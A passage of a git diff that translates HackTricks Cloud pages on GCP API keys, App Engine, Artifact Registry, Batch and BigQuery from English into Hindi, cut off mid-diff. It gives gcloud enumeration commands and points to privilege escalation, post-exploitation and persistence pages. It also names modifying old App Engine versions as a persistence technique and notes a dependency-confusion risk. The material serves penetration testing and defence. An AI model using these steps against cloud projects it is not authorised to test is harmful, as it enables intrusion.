Google Cloud Platform (GCP) में, API कुंजी एक सरल एन्क्रिप्टेड स्ट्रिंग है जो **बिना किसी प्रिंसिपल के एक एप्लिकेशन की पहचान करती है**। इन्हें **Google Cloud APIs** तक पहुँचने के लिए उपयोग किया जाता है जो उपयोगकर्ता संदर्भ की आवश्यकता नहीं होती। इसका मतलब है कि इन्हें अक्सर उन परिदृश्यों में उपयोग किया जाता है जहाँ एप्लिकेशन अपने स्वयं के डेटा तक पहुँच रहा है न कि उपयोगकर्ता डेटा तक।
|
||||
|
||||
### Restrictions
|
||||
|
||||
You can **apply restrictions to API keys** for enhanced security. For example, you can restrict the key to be **used only by certain IP addresses, webs, android apps, iOS apps**, or restrict it to **certain APIs or services** within GCP.
|
||||
आप **API कुंजी पर प्रतिबंध लागू कर सकते हैं** ताकि सुरक्षा बढ़ सके। उदाहरण के लिए, आप कुंजी को **केवल कुछ IP पते, वेब, एंड्रॉइड ऐप, iOS ऐप** द्वारा उपयोग करने के लिए प्रतिबंधित कर सकते हैं, या इसे GCP के भीतर **कुछ APIs या सेवाओं** तक सीमित कर सकते हैं।
|
||||
|
||||
### Enumeration
|
||||
|
||||
It's possible to **see the restriction of an API key** (including GCP API endpoints restriction) using the verbs list or describe:
|
||||
|
||||
यह संभव है कि आप **API कुंजी के प्रतिबंध को देख सकें** (जिसमें GCP API एंडपॉइंट्स का प्रतिबंध शामिल है) क्रियाओं की सूची या वर्णन का उपयोग करके:
|
||||
```bash
|
||||
gcloud services api-keys list
|
||||
gcloud services api-keys describe <key-uuid>
|
||||
gcloud services api-keys list --show-deleted
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> It's possible to recover deleted keys before 30days passes, that's why you can list deleted keys.
|
||||
> 30 दिनों से पहले हटाए गए कुंजी को पुनर्प्राप्त करना संभव है, यही कारण है कि आप हटाए गए कुंजी की सूची बना सकते हैं।
|
||||
|
||||
### Privilege Escalation & Post Exploitation
|
||||
|
||||
@@ -42,7 +40,3 @@ gcloud services api-keys list --show-deleted
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,57 +4,54 @@
|
||||
|
||||
## Basic Information <a href="#reviewing-app-engine-configurations" id="reviewing-app-engine-configurations"></a>
|
||||
|
||||
Google Cloud Platform's (GCP) App Engine is a **robust, serverless platform tailored for the development and hosting of web applications on a large scale**. The design of this platform focuses on streamlining the development process and enhancing the manageability of applications. The key features and benefits of GCP's App Engine include:
|
||||
Google Cloud Platform's (GCP) App Engine एक **मजबूत, सर्वरलेस प्लेटफ़ॉर्म है जो बड़े पैमाने पर वेब अनुप्रयोगों के विकास और होस्टिंग के लिए तैयार किया गया है**। इस प्लेटफ़ॉर्म का डिज़ाइन विकास प्रक्रिया को सरल बनाने और अनुप्रयोगों के प्रबंधन को बढ़ाने पर केंद्रित है। GCP के App Engine की प्रमुख विशेषताएँ और लाभ हैं:
|
||||
|
||||
1. **Serverless Architecture**: App Engine automatically handles the infrastructure, including server provisioning, configuration, and scaling. This allows developers to focus on writing code without worrying about the underlying hardware.
|
||||
2. **Automatic Scaling**: App Engine can automatically scale your application in response to the amount of traffic it receives. It scales up to handle increased traffic and scales down when traffic decreases, helping optimize cost and performance.
|
||||
3. **Language and Runtime Support**: It supports popular programming languages such as Java, Python, Node.js, Go, Ruby, PHP, and .NET. You can run your applications in a standard or a flexible environment. The standard environment is more restrictive but highly optimized for specific languages, while the flexible environment allows for more customization.
|
||||
4. **Integrated Services**: App Engine integrates with many other GCP services, like Cloud SQL, Cloud Storage, Cloud Datastore, and more. This integration simplifies the architecture of cloud-based applications.
|
||||
5. **Versioning and Traffic Splitting**: You can easily deploy multiple versions of your application and then split traffic among them for A/B testing or gradual rollouts.
|
||||
6. **Application Insights**: App Engine provides built-in services such as logging, user authentication, and a suite of developer tools for monitoring and managing applications.
|
||||
7. **Security**: It offers built-in security features like application versioning, SSL/TLS certificates for secure connections, and identity and access management.
|
||||
1. **सर्वरलेस आर्किटेक्चर**: App Engine स्वचालित रूप से बुनियादी ढाँचे को संभालता है, जिसमें सर्वर प्रावधान, कॉन्फ़िगरेशन और स्केलिंग शामिल हैं। यह डेवलपर्स को कोड लिखने पर ध्यान केंद्रित करने की अनुमति देता है बिना अंतर्निहित हार्डवेयर की चिंता किए।
|
||||
2. **स्वचालित स्केलिंग**: App Engine आपके अनुप्रयोग को प्राप्त ट्रैफ़िक की मात्रा के जवाब में स्वचालित रूप से स्केल कर सकता है। यह बढ़ते ट्रैफ़िक को संभालने के लिए स्केल करता है और जब ट्रैफ़िक कम होता है तो इसे कम करता है, जिससे लागत और प्रदर्शन का अनुकूलन होता है।
|
||||
3. **भाषा और रनटाइम समर्थन**: यह लोकप्रिय प्रोग्रामिंग भाषाओं जैसे Java, Python, Node.js, Go, Ruby, PHP, और .NET का समर्थन करता है। आप अपने अनुप्रयोगों को मानक या लचीले वातावरण में चला सकते हैं। मानक वातावरण अधिक प्रतिबंधात्मक है लेकिन विशिष्ट भाषाओं के लिए अत्यधिक अनुकूलित है, जबकि लचीला वातावरण अधिक अनुकूलन की अनुमति देता है।
|
||||
4. **एकीकृत सेवाएँ**: App Engine कई अन्य GCP सेवाओं के साथ एकीकृत होता है, जैसे Cloud SQL, Cloud Storage, Cloud Datastore, और अधिक। यह एकीकरण क्लाउड-आधारित अनुप्रयोगों की आर्किटेक्चर को सरल बनाता है।
|
||||
5. **संस्करण और ट्रैफ़िक विभाजन**: आप आसानी से अपने अनुप्रयोग के कई संस्करणों को तैनात कर सकते हैं और फिर A/B परीक्षण या क्रमिक रोलआउट के लिए उनके बीच ट्रैफ़िक विभाजित कर सकते हैं।
|
||||
6. **अनुप्रयोग अंतर्दृष्टि**: App Engine अंतर्निहित सेवाएँ प्रदान करता है जैसे लॉगिंग, उपयोगकर्ता प्रमाणीकरण, और अनुप्रयोगों की निगरानी और प्रबंधन के लिए डेवलपर उपकरणों का एक सूट।
|
||||
7. **सुरक्षा**: यह अनुप्रयोग संस्करणन, सुरक्षित कनेक्शनों के लिए SSL/TLS प्रमाणपत्र, और पहचान और पहुँच प्रबंधन जैसी अंतर्निहित सुरक्षा सुविधाएँ प्रदान करता है।
|
||||
|
||||
### Firewall
|
||||
|
||||
A simple **firewall** can be configured for the instances running the Apps with the following options:
|
||||
एक साधारण **फायरवॉल** को Apps चलाने वाले उदाहरणों के लिए निम्नलिखित विकल्पों के साथ कॉन्फ़िगर किया जा सकता है:
|
||||
|
||||
<figure><img src="../../../images/image (246).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### SA
|
||||
|
||||
The default service account used by these Apps is **`<proj-name>@appspot.gserviceaccount.com`** which have **Editor** role over the project and the SAs inside APP Engine instance **runs with cloud-platform scope (among others).**
|
||||
इन Apps द्वारा उपयोग किया जाने वाला डिफ़ॉल्ट सेवा खाता **`<proj-name>@appspot.gserviceaccount.com`** है जिसमें परियोजना पर **संपादक** भूमिका है और APP Engine उदाहरण के भीतर SAs **क्लाउड-प्लेटफ़ॉर्म स्कोप (अन्य के बीच) के साथ चलते हैं।**
|
||||
|
||||
### Storage
|
||||
|
||||
The source code and metadata is **automatically stored in buckets** with names such as `<proj-id>.appspot.com` and `staging.<proj-id>.appspot.com` and `<country>.<proj-id>.appspot.com`
|
||||
स्रोत कोड और मेटाडेटा **स्वचालित रूप से बकेट में संग्रहीत किया जाता है** जिनके नाम हैं जैसे `<proj-id>.appspot.com` और `staging.<proj-id>.appspot.com` और `<country>.<proj-id>.appspot.com`
|
||||
|
||||
**Every file** of the App is stored with the **sha1 of the content as filename**:
|
||||
**App का हर फ़ाइल** **सामग्री के sha1 को फ़ाइल नाम के रूप में** संग्रहीत किया जाता है:
|
||||
|
||||
<figure><img src="../../../images/image (82).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Inside the **`ae`** folder from `staging.<proj-id>.appspot.com`, **one folder per version exist** with the **source code** files and **`manifest.json`** file that **describes the components** of the App:
|
||||
|
||||
**`staging.<proj-id>.appspot.com`** से **`ae`** फ़ोल्डर के अंदर, **प्रत्येक संस्करण के लिए एक फ़ोल्डर मौजूद है** जिसमें **स्रोत कोड** फ़ाइलें और **`manifest.json`** फ़ाइल है जो **App के घटकों का वर्णन करती है**:
|
||||
```json
|
||||
{"requirements.txt":{"sourceUrl":"https://storage.googleapis.com/staging.onboarding-host-98efbf97812843.appspot.com/a270eedcbe2672c841251022b7105d340129d108","sha1Sum":"a270eedc_be2672c8_41251022_b7105d34_0129d108"},"main_test.py":{"sourceUrl":"https://storage.googleapis.com/staging.onboarding-host-98efbf97812843.appspot.com/0ca32fd70c953af94d02d8a36679153881943f32","sha1Sum":"0ca32fd7_0c953af9_4d02d8a ...
|
||||
```
|
||||
|
||||
### Containers
|
||||
|
||||
The web app will ultimately be **executed inside a container** and **Code Build** is used to build the container.
|
||||
वेब ऐप अंततः **एक कंटेनर के अंदर निष्पादित होगा** और **कोड बिल्ड** का उपयोग कंटेनर बनाने के लिए किया जाता है।
|
||||
|
||||
### URLs & Regions
|
||||
|
||||
The **default** web page will be exposed in the URL **`<project-uniq-name>.appspot.com`** although the URL of older versions will be slightly different, like **`https://20240117t001540-dot-<project-uniq-name>.uc.r.appspot.com`** (note the initial timestamp).
|
||||
**डिफ़ॉल्ट** वेब पृष्ठ URL **`<project-uniq-name>.appspot.com`** में प्रदर्शित होगा, हालांकि पुराने संस्करणों का URL थोड़ा अलग होगा, जैसे **`https://20240117t001540-dot-<project-uniq-name>.uc.r.appspot.com`** (प्रारंभिक टाइमस्टैम्प को नोट करें)।
|
||||
|
||||
It might look like it's only possible to deploy 1 app engine web application per region, but it's possible to indicate **`service: <servicename>`** in the **`app.yml`** and create a new service (a new web). The format of the URL for this new web will be **`<servicename>-dot-<project-uniq-name>.appspot.com`**.
|
||||
यह लग सकता है कि प्रति क्षेत्र केवल 1 ऐप इंजन वेब एप्लिकेशन को तैनात करना संभव है, लेकिन **`app.yml`** में **`service: <servicename>`** निर्दिष्ट करना संभव है और एक नई सेवा (एक नया वेब) बनाना संभव है। इस नए वेब के लिए URL का प्रारूप होगा **`<servicename>-dot-<project-uniq-name>.appspot.com`**।
|
||||
|
||||
### Enumeration
|
||||
|
||||
> [!CAUTION]
|
||||
> Every time you uploads a new code to the App, **a new version is created**. **All versions are stored** and they even have an **URL to access them**. So modifying the code of an old version could be a **great persistence technique**.
|
||||
|
||||
As with Cloud Functions, **there is a chance that the application will rely on secrets that are accessed at run-time via environment variables**. These variables are stored in an **`app.yaml`** file which can be accessed as follows:
|
||||
> हर बार जब आप ऐप में एक नया कोड अपलोड करते हैं, **एक नया संस्करण बनाया जाता है**। **सभी संस्करण संग्रहीत होते हैं** और उनके पास एक **URL होता है जिससे उन्हें एक्सेस किया जा सकता है**। इसलिए पुराने संस्करण के कोड को संशोधित करना **एक महान स्थायी तकनीक** हो सकता है।
|
||||
|
||||
क्लाउड फ़ंक्शंस के साथ, **ऐप्लिकेशन के रन-टाइम पर पर्यावरण चर के माध्यम से एक्सेस किए गए रहस्यों पर निर्भर होने की संभावना है**। ये चर एक **`app.yaml`** फ़ाइल में संग्रहीत होते हैं जिसे निम्नलिखित तरीके से एक्सेस किया जा सकता है:
|
||||
```bash
|
||||
# List the apps
|
||||
gcloud app services list
|
||||
@@ -89,33 +86,28 @@ gcloud app domain-mappings describe <name>
|
||||
gcloud app ssl-certificates list
|
||||
gcloud app ssl-certificates describe <name>
|
||||
```
|
||||
|
||||
### Privilege Escalation
|
||||
### विशेषाधिकार वृद्धि
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-appengine-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Unauthenticated Enum
|
||||
### अनधिकृत Enum
|
||||
|
||||
{{#ref}}
|
||||
../gcp-unauthenticated-enum-and-access/gcp-app-engine-unauthenticated-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Post Exploitation
|
||||
### पोस्ट शोषण
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-app-engine-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistence
|
||||
### स्थिरता
|
||||
|
||||
{{#ref}}
|
||||
../gcp-persistence/gcp-app-engine-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,44 +4,43 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
Google Cloud Artifact Registry is a fully managed service that allows you to **manage, store, and secure your software artifacts**. It's essentially a repository for **storing build dependencies**, such as **Docker** images, **Maven**, npm packages, and other types of artifacts. It's **commonly used in CI/CD pipelines** for storing and versioning the artifacts produced during the software development process.
|
||||
Google Cloud Artifact Registry एक पूरी तरह से प्रबंधित सेवा है जो आपको **अपने सॉफ़्टवेयर आर्टिफैक्ट्स का प्रबंधन, भंडारण और सुरक्षा** करने की अनुमति देती है। यह मूल रूप से **बिल्ड निर्भरताओं** के लिए एक भंडार है, जैसे कि **Docker** छवियाँ, **Maven**, npm पैकेज, और अन्य प्रकार के आर्टिफैक्ट्स। इसका **सामान्यत: CI/CD पाइपलाइनों में उपयोग किया जाता है** जो सॉफ़्टवेयर विकास प्रक्रिया के दौरान उत्पन्न आर्टिफैक्ट्स को स्टोर और संस्करणित करता है।
|
||||
|
||||
Key features of Artifact Registry include:
|
||||
Artifact Registry की प्रमुख विशेषताएँ शामिल हैं:
|
||||
|
||||
1. **Unified Repository**: It supports **multiple types of artifacts**, allowing you to have a single repository for Docker images, language packages (like Java’s Maven, Node.js’s npm), and other types of artifacts, enabling consistent access controls and a unified view across all your artifacts.
|
||||
2. **Fully Managed**: As a managed service, it takes care of the underlying infrastructure, scaling, and security, reducing the maintenance overhead for users.
|
||||
3. **Fine-grained Access Control**: It integrates with Google Cloud’s Identity and Access Management (IAM), allowing you to define who can access, upload, or download artifacts in your repositories.
|
||||
4. **Geo-replication**: It supports the replication of artifacts across multiple regions, improving the speed of downloads and ensuring availability.
|
||||
5. **Integration with Google Cloud Services**: It works seamlessly with **other GCP services like Cloud Build, Kubernetes Engine, and Compute Engine**, making it a convenient choice for teams already working within the Google Cloud ecosystem.
|
||||
6. **Security**: Offers features like **vulnerability scanning and container analysis** to help ensure that the stored artifacts are secure and free from known security issues.
|
||||
1. **Unified Repository**: यह **कई प्रकार के आर्टिफैक्ट्स** का समर्थन करता है, जिससे आप Docker छवियों, भाषा पैकेज (जैसे Java का Maven, Node.js का npm), और अन्य प्रकार के आर्टिफैक्ट्स के लिए एकल भंडार रख सकते हैं, जिससे सभी आर्टिफैक्ट्स के लिए सुसंगत पहुँच नियंत्रण और एकीकृत दृश्य सक्षम होता है।
|
||||
2. **Fully Managed**: एक प्रबंधित सेवा के रूप में, यह अंतर्निहित बुनियादी ढाँचे, स्केलिंग, और सुरक्षा का ध्यान रखता है, जिससे उपयोगकर्ताओं के लिए रखरखाव का बोझ कम होता है।
|
||||
3. **Fine-grained Access Control**: यह Google Cloud के पहचान और पहुँच प्रबंधन (IAM) के साथ एकीकृत होता है, जिससे आप यह परिभाषित कर सकते हैं कि कौन आपके भंडार में आर्टिफैक्ट्स तक पहुँच, अपलोड, या डाउनलोड कर सकता है।
|
||||
4. **Geo-replication**: यह कई क्षेत्रों में आर्टिफैक्ट्स की प्रतिकृति का समर्थन करता है, डाउनलोड की गति में सुधार करता है और उपलब्धता सुनिश्चित करता है।
|
||||
5. **Integration with Google Cloud Services**: यह **अन्य GCP सेवाओं जैसे Cloud Build, Kubernetes Engine, और Compute Engine** के साथ निर्बाध रूप से काम करता है, जिससे यह उन टीमों के लिए एक सुविधाजनक विकल्प बनता है जो पहले से Google Cloud पारिस्थितिकी तंत्र में काम कर रही हैं।
|
||||
6. **Security**: **कमजोरियों की स्कैनिंग और कंटेनर विश्लेषण** जैसी सुविधाएँ प्रदान करता है ताकि यह सुनिश्चित किया जा सके कि संग्रहीत आर्टिफैक्ट्स सुरक्षित हैं और ज्ञात सुरक्षा समस्याओं से मुक्त हैं।
|
||||
|
||||
### Formats and Modes
|
||||
|
||||
When creating a new repository it's possible to **select a the format/type** of the repository among several like Docker, Maven, npm, Python... and the mode which usually can be one of these three:
|
||||
जब एक नया भंडार बनाया जाता है, तो **भंडार के प्रारूप/प्रकार** को कई में से **चुनना संभव है** जैसे Docker, Maven, npm, Python... और मोड जो आमतौर पर इनमें से एक हो सकता है:
|
||||
|
||||
- **Standard Repository**: Default mode for **storing your own artifacts** (like Docker images, Maven packages) directly in GCP. It's secure, scalable, and integrates well within the Google Cloud ecosystem.
|
||||
- **Remote Repository** (if available): Acts as a proxy for **caching artifacts from external**, public repositories. It helps prevent issues from dependencies changing upstream and reduces latency by caching frequently accessed artifacts.
|
||||
- **Virtual Repository** (if available): Provides a **unified interface to access multiple (standard or remote) repositories** through a single endpoint, simplifying client-side configuration and access management for artifacts spread across various repositories.
|
||||
- For a virtual repository you will need to **select repositories and give them a priority** (the repo with the largest priority will be used).
|
||||
- You can **mix remote and standard** repositories in a **virtual** one, if the **priority** of the **remote** is **bigger** than the standard, **packages from remote (PyPi for example) will be used**. This could lead to a **Dependency Confusion.**
|
||||
- **Standard Repository**: **अपने स्वयं के आर्टिफैक्ट्स** (जैसे Docker छवियाँ, Maven पैकेज) को सीधे GCP में स्टोर करने के लिए डिफ़ॉल्ट मोड। यह सुरक्षित, स्केलेबल है, और Google Cloud पारिस्थितिकी तंत्र के भीतर अच्छी तरह से एकीकृत होता है।
|
||||
- **Remote Repository** (यदि उपलब्ध हो): **बाहरी**, सार्वजनिक भंडारों से आर्टिफैक्ट्स को कैश करने के लिए एक प्रॉक्सी के रूप में कार्य करता है। यह निर्भरताओं के ऊपर बदलने से समस्याओं को रोकने में मदद करता है और अक्सर एक्सेस किए जाने वाले आर्टिफैक्ट्स को कैश करके विलंबता को कम करता है।
|
||||
- **Virtual Repository** (यदि उपलब्ध हो): **एकल एंडपॉइंट के माध्यम से कई (मानक या दूरस्थ) भंडारों तक पहुँचने के लिए एकीकृत इंटरफ़ेस प्रदान करता है**, विभिन्न भंडारों में फैले आर्टिफैक्ट्स के लिए क्लाइंट-साइड कॉन्फ़िगरेशन और पहुँच प्रबंधन को सरल बनाता है।
|
||||
- एक वर्चुअल भंडार के लिए आपको **भंडारों का चयन करना होगा और उन्हें प्राथमिकता देना होगा** (जिस भंडार की प्राथमिकता सबसे बड़ी होगी, उसका उपयोग किया जाएगा)।
|
||||
- आप **वर्चुअल** में **दूरस्थ और मानक** भंडारों को **मिश्रित** कर सकते हैं, यदि **दूरस्थ** की **प्राथमिकता** **मानक** से **बड़ी** है, तो **दूरस्थ से पैकेज (उदाहरण के लिए PyPi) का उपयोग किया जाएगा**। इससे **Dependency Confusion** हो सकता है।
|
||||
|
||||
Note that in the **Remote version of Docker** it's possible to give a username and token to access Docker Hub. The **token is then stored in the Secret Manager**.
|
||||
ध्यान दें कि **Docker के दूरस्थ संस्करण** में Docker Hub तक पहुँचने के लिए एक उपयोगकर्ता नाम और टोकन देना संभव है। **टोकन फिर Secret Manager में संग्रहीत किया जाता है**।
|
||||
|
||||
### Encryption
|
||||
|
||||
As expected, by default a Google-managed key is used but a Customer-managed key can be indicated (CMEK).
|
||||
जैसा कि अपेक्षित है, डिफ़ॉल्ट रूप से एक Google-प्रबंधित कुंजी का उपयोग किया जाता है लेकिन एक ग्राहक-प्रबंधित कुंजी को इंगित किया जा सकता है (CMEK)।
|
||||
|
||||
### Cleanup Policies
|
||||
|
||||
- **Delete artifacts:** Artifacts will be **deleted according to cleanup policy** criteria.
|
||||
- **Dry run:** (Default one) Artifacts will **not be deleted**. Cleanup policies will be evaluated, and test delete events sent to Cloud Audit Logging.
|
||||
- **Delete artifacts:** आर्टिफैक्ट्स को **साफ़ करने की नीति** मानदंडों के अनुसार **हटाया जाएगा**।
|
||||
- **Dry run:** (डिफ़ॉल्ट) आर्टिफैक्ट्स **हटाए नहीं जाएंगे**। साफ़ करने की नीतियों का मूल्यांकन किया जाएगा, और क्लाउड ऑडिट लॉगिंग के लिए परीक्षण हटाने की घटनाएँ भेजी जाएँगी।
|
||||
|
||||
### Vulnerability Scanning
|
||||
|
||||
It's possible to enable the **vulnerability scanner** which will check for vulnerabilities inside **container images**.
|
||||
यह संभव है कि **कमजोरियों के स्कैनर** को सक्षम किया जाए जो **कंटेनर छवियों** के अंदर कमजोरियों की जाँच करेगा।
|
||||
|
||||
### Enumeration
|
||||
|
||||
```bash
|
||||
# Get repositories
|
||||
gcloud artifacts repositories list
|
||||
@@ -64,33 +63,28 @@ gcloud artifacts sbom list
|
||||
gcloud artifacts vulnerabilities list us-east1-docker.pkg.dev/project123/repository123/someimage@sha256:49765698074d6d7baa82f
|
||||
gcloud artifacts docker images list-vulnerabilities projects/<proj-name>/locations/<location>/scans/<scan-uuid>
|
||||
```
|
||||
|
||||
### Privilege Escalation
|
||||
### विशेषाधिकार वृद्धि
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-artifact-registry-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Unauthenticated Access
|
||||
### बिना प्रमाणीकरण के पहुंच
|
||||
|
||||
{{#ref}}
|
||||
../gcp-unauthenticated-enum-and-access/gcp-artifact-registry-unauthenticated-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Post-Exploitation
|
||||
### पोस्ट-शोषण
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-artifact-registry-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistence
|
||||
### स्थिरता
|
||||
|
||||
{{#ref}}
|
||||
../gcp-persistence/gcp-artifact-registry-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,14 +4,13 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
**Google Cloud Platform (GCP) Batch Service** is designed for running **large-scale batch computing workloads**, automating the management, scheduling, and execution of batch jobs across scalable cloud resources. This service simplifies operations and optimizes costs by allowing users to leverage preemptible VMs and integrates seamlessly with other GCP services for comprehensive batch processing workflows. It's ideal for data processing, financial modeling, and scientific simulations.
|
||||
**Google Cloud Platform (GCP) Batch Service** बड़े पैमाने पर बैच कंप्यूटिंग कार्यभार चलाने के लिए डिज़ाइन किया गया है, बैच नौकरियों के प्रबंधन, अनुसूची और निष्पादन को स्वचालित करता है जो स्केलेबल क्लाउड संसाधनों के बीच होता है। यह सेवा संचालन को सरल बनाती है और लागत को अनुकूलित करती है, उपयोगकर्ताओं को प्रीएम्प्टिबल VMs का लाभ उठाने की अनुमति देती है और व्यापक बैच प्रोसेसिंग वर्कफ़्लोज़ के लिए अन्य GCP सेवाओं के साथ सहजता से एकीकृत होती है। यह डेटा प्रोसेसिंग, वित्तीय मॉडलिंग और वैज्ञानिक सिमुलेशन के लिए आदर्श है।
|
||||
|
||||
### Service Account
|
||||
|
||||
Although (currently) it's not possible to select the SA that the batch job will be executed with, **it'll use the compute SA** (Editor permissions usually).
|
||||
हालांकि (वर्तमान में) यह संभव नहीं है कि बैच नौकरी किस SA के साथ निष्पादित होगी, **यह कंप्यूट SA का उपयोग करेगी** (सामान्यतः संपादक अनुमतियाँ)।
|
||||
|
||||
## Enumeration
|
||||
|
||||
```bash
|
||||
# List jobs
|
||||
gcloud batch jobs list
|
||||
@@ -25,15 +24,10 @@ gcloud batch tasks list --location <location> --job <job-name>
|
||||
# Gte info of tasks executions
|
||||
gcloud batch tasks describe projects/<proj-number>/locations/<location>/jobs/<job-name>/taskGroups/<group>/tasks/<num>
|
||||
```
|
||||
|
||||
## Privilege Escalation
|
||||
## विशेषाधिकार वृद्धि
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-batch-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,60 +4,57 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
Google Cloud BigQuery is a **fully-managed, serverless enterprise data warehouse**, offering capabilities for **analysis over petabytes** of data, thus handling large-scale datasets efficiently. As a Platform as a Service (PaaS), it provides users with infrastructure and tools to facilitate data management without the need for manual oversight.
|
||||
Google Cloud BigQuery एक **पूर्ण-प्रबंधित, सर्वर रहित उद्यम डेटा वेयरहाउस** है, जो **पेटाबाइट्स** के डेटा पर **विश्लेषण** की क्षमताएँ प्रदान करता है, इस प्रकार बड़े पैमाने पर डेटा सेट को कुशलतापूर्वक संभालता है। एक प्लेटफ़ॉर्म के रूप में सेवा (PaaS) के रूप में, यह उपयोगकर्ताओं को डेटा प्रबंधन को सुविधाजनक बनाने के लिए बुनियादी ढाँचा और उपकरण प्रदान करता है बिना मैनुअल देखरेख की आवश्यकता के।
|
||||
|
||||
It supports querying using **ANSI SQL**. The main objects are **datasets** containing **tables** containing SQL **data**.
|
||||
यह **ANSI SQL** का उपयोग करके क्वेरी करने का समर्थन करता है। मुख्य वस्तुएँ **डेटासेट** हैं जिनमें **टेबल** होते हैं जो SQL **डेटा** को समाहित करते हैं।
|
||||
|
||||
### Encryption
|
||||
|
||||
By default a **Google-managed encryption key** is used although it's possible to configure a **Customer-managed encryption key (CMEK)**. It's possible to indicate the encryption key per dataset and per table inside a dataset.
|
||||
डिफ़ॉल्ट रूप से एक **Google-प्रबंधित एन्क्रिप्शन कुंजी** का उपयोग किया जाता है हालांकि एक **ग्राहक-प्रबंधित एन्क्रिप्शन कुंजी (CMEK)** को कॉन्फ़िगर करना संभव है। यह प्रत्येक डेटासेट और डेटासेट के भीतर प्रत्येक टेबल के लिए एन्क्रिप्शन कुंजी को निर्दिष्ट करना संभव है।
|
||||
|
||||
### Expiration
|
||||
|
||||
It's possible to indicate an **expiration time in the dataset** so any new table created in this dataset will be **automatically deleted** the specified number of days after creation.
|
||||
यह **डेटासेट में एक समाप्ति समय** निर्दिष्ट करना संभव है ताकि इस डेटासेट में बनाई गई कोई भी नई टेबल **निर्धारित संख्या** के दिनों के बाद स्वचालित रूप से **हटाई** जाएगी।
|
||||
|
||||
### External Sources
|
||||
|
||||
Bigquery is deeply integrated with other Google services. It's possible to load data from buckets, pub/sub, google drive, RDS databases...
|
||||
Bigquery अन्य Google सेवाओं के साथ गहराई से एकीकृत है। यह बकेट, pub/sub, google drive, RDS डेटाबेस से डेटा लोड करना संभव बनाता है...
|
||||
|
||||
### Dataset ACLs
|
||||
|
||||
When a dataset is created **ACLs are attached** to give access over it. By default it's given **Owner** privileges over the **user that created** the dataset and then **Owner** to the group **projectOwners** (Owners of the project), **Writer** to the group **projectWriters,** and **Reader** to the group **projectReaders**:
|
||||
|
||||
जब एक डेटासेट बनाया जाता है तो **ACLs संलग्न** किए जाते हैं ताकि इसके ऊपर पहुँच प्रदान की जा सके। डिफ़ॉल्ट रूप से इसे **स्वामी** विशेषाधिकार दिए जाते हैं उस **उपयोगकर्ता** के लिए जिसने डेटासेट बनाया और फिर **स्वामी** समूह **projectOwners** (परियोजना के मालिकों) को, **लेखक** समूह **projectWriters** को, और **पाठक** समूह **projectReaders** को:
|
||||
```bash
|
||||
bq show --format=prettyjson <proj>:<dataset>
|
||||
|
||||
...
|
||||
"access": [
|
||||
{
|
||||
"role": "WRITER",
|
||||
"specialGroup": "projectWriters"
|
||||
},
|
||||
{
|
||||
"role": "OWNER",
|
||||
"specialGroup": "projectOwners"
|
||||
},
|
||||
{
|
||||
"role": "OWNER",
|
||||
"userByEmail": "gcp-admin@hacktricks.xyz"
|
||||
},
|
||||
{
|
||||
"role": "OWNER",
|
||||
"userByEmail": "support@hacktricks.xyz"
|
||||
},
|
||||
{
|
||||
"role": "READER",
|
||||
"specialGroup": "projectReaders"
|
||||
}
|
||||
],
|
||||
...
|
||||
{
|
||||
"role": "WRITER",
|
||||
"specialGroup": "projectWriters"
|
||||
},
|
||||
{
|
||||
"role": "OWNER",
|
||||
"specialGroup": "projectOwners"
|
||||
},
|
||||
{
|
||||
"role": "OWNER",
|
||||
"userByEmail": "gcp-admin@hacktricks.xyz"
|
||||
},
|
||||
{
|
||||
"role": "OWNER",
|
||||
"userByEmail": "support@hacktricks.xyz"
|
||||
},
|
||||
{
|
||||
"role": "READER",
|
||||
"specialGroup": "projectReaders"
|
||||
}
|
||||
],
|
||||
...
|
||||
```
|
||||
|
||||
### Table Rows Control Access
|
||||
|
||||
It's possible to **control the rows a principal is going to be able to access inside a table** with row access policies. These are defined inside the table using [**DDL**](https://cloud.google.com/bigquery/docs/reference/standard-sql/data-definition-language#create_row_access_policy_statement).\
|
||||
The access policy defines a filter and **only the matching rows** with that filter are going to be **accessible** by the indicated principals.
|
||||
|
||||
यह संभव है कि **एक प्रिंसिपल को एक तालिका के अंदर पहुंचने के लिए पंक्तियों को नियंत्रित किया जाए** पंक्ति पहुंच नीतियों के साथ। ये तालिका के अंदर [**DDL**](https://cloud.google.com/bigquery/docs/reference/standard-sql/data-definition-language#create_row_access_policy_statement) का उपयोग करके परिभाषित की जाती हैं।\
|
||||
पहुंच नीति एक फ़िल्टर को परिभाषित करती है और **केवल मिलती-जुलती पंक्तियाँ** उस फ़िल्टर के साथ **उपलब्ध** होंगी जो निर्दिष्ट प्रिंसिपलों द्वारा।
|
||||
```sql
|
||||
# Create
|
||||
CREATE ROW ACCESS POLICY apac_filter
|
||||
@@ -70,8 +67,8 @@ CREATE OR REPLACE ROW ACCESS POLICY
|
||||
CREATE ROW ACCESS POLICY sales_us_filter
|
||||
ON project.dataset.my_table
|
||||
